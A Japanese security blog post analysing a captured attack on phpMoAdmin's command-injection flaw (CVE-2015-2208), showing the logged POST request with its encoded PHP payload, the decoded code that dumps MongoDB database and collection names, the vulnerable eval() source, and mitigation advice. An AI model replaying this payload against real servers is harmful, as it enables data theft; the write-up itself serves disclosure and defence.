読者です 読者をやめる 読者になる 読者になる

phpMoAdminの脆弱性(コマンドインジェクション)を狙った攻撃(CVE-2015-2208)

今回は、MongoDB*1GUI管理ツールであるphpMoAdminの脆弱性を突いた攻撃を紹介したいと思います。

まずはログをご覧ください。(見やすくなるよう改変しています)悪用厳禁

POST /phpMoAdmin/moadmin.php HTTP/1.1
Accept-Encoding: identity
Content-Length: 409
Host: IPアドレス
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0

object=1%3Beval%28base64_decode%28%22JG09MDskcj0iIjsgZm9yZWFjaCgkdGhpcy0%2BbGlzdERicygpIGFzICAkayA9PiAkdil7ICR0aGlz%0ALT5zZXREYigkayk7CiAgICAkcz0wOyRyMT0kdjsgZm9yZWFjaCgkdGhpcy0%2BbGlzdENvbGxlY3Rp%0Ab25zKCkgYXMgICRrMSA9PiAkdjEpewogICAgICAgIGlmKCR2MSA%2BPSAkbSl7ICRyMS49IlsiLiRr%0AMS4iKCIuJHYxLiIpXSI7ICRzPTE7IH0KICAgIH07IGlmKCRzKSAkci49InsiLiRyMS4ifSI7Cn07%0AIGRpZSgiTU9BU1RBVFM6Ii4kcik7%0A%22%29%29%3B%3Bexit

objectというパラメータにURLエンコードされた攻撃コードが入力されています。さらに、攻撃コード中にbase64_decodeという文字列があることから、途中からBase64エンコードされているということがわかります。

この攻撃コードのURLデコードを行い、更にBase64エンコードされている部分をデコードすると、次のようなコードであることがわかります。

object=1;eval(base64_decode("$m=0;$r=""; foreach($this->listDbs() as  $k => $v){ $this->setDb($k);
    $s=0;$r1=$v; foreach($this->listCollections() as  $k1 => $v1){
        if($v1 >= $m){ $r1.="[".$k1."(".$v1.")]"; $s=1; }
    }; if($s) $r.="{".$r1."}";
}; die("MOASTATS:".$r);"));;exit

このexploitはMongoDB内のデータベースの内容を全て出力する、コマンドインジェクションであることがわかりました。

この攻撃者は情報の窃取が目的だったようですが、他にも例えばサーバにマルウェアをダウンロードさせるなどの攻撃もできると考えられます。

また、objectパラメータだけでなく、findパラメータにも同様の脆弱性が存在しています。

原因のコード

phpmoadmin.phpには、以下のような関数が存在します。

    public function saveObject($collection, $obj) {
        eval('$obj=' . $obj . ';'); //cast from string to array
        return $this->mongo->selectCollection($collection)->save($obj);
    }

このsaveObject関数ではeval関数が記述されています。eval関数のパラメータにはユーザが指定する値が入るobj変数があり、これがコマンドインジェクションの脆弱性を引き起こしています。 また、同様にfindパラメータを処理する部分にもeval関数が使われています。

        $find = array();
        if (isset($_GET['find']) && $_GET['find']) {
            $_GET['find'] = trim($_GET['find']);
            if (strpos($_GET['find'], 'array') === 0) {
                eval('$find = ' . $_GET['find'] . ';');
            } else if (is_string($_GET['find'])) {
                if ($findArr = json_decode($_GET['find'], true)) {
                    $find = $findArr;
                }
            }
        }

eval関数の使用は推奨されません。もしも利用する場合はパラメータに変数を含めず、文字列リテラルのみを利用するのが賢明です。

対策

2015/06/20現在での最新バージョンが1.1.2であり、発見から3か月ほど経っていますが未だに修正が行われていません。対策として私が考えるのは、サーバ側でphpmoadmin.phpに認証を設定するということです。(管理ツールなので設定してないとおかしいですけどね^^;)また、外部からアクセスされない環境に置くのも手だと思います。

参考サイト

データベース「MongoDB」の管理ツール「phpMoAdmin」に存在するゼロデイ脆弱性の解析 | トレンドマイクロ セキュリティブログ←この脆弱性についてとても詳しく解説しています。

JVNDB-2015-001796 - JVN iPedia - 脆弱性対策情報データベース

第37回 MOPS:PHPにおけるコード実行(1):なぜPHPアプリにセキュリティホールが多いのか?|gihyo.jp … 技術評論社

*1:NoSQLの一つで、ドキュメント指向データベース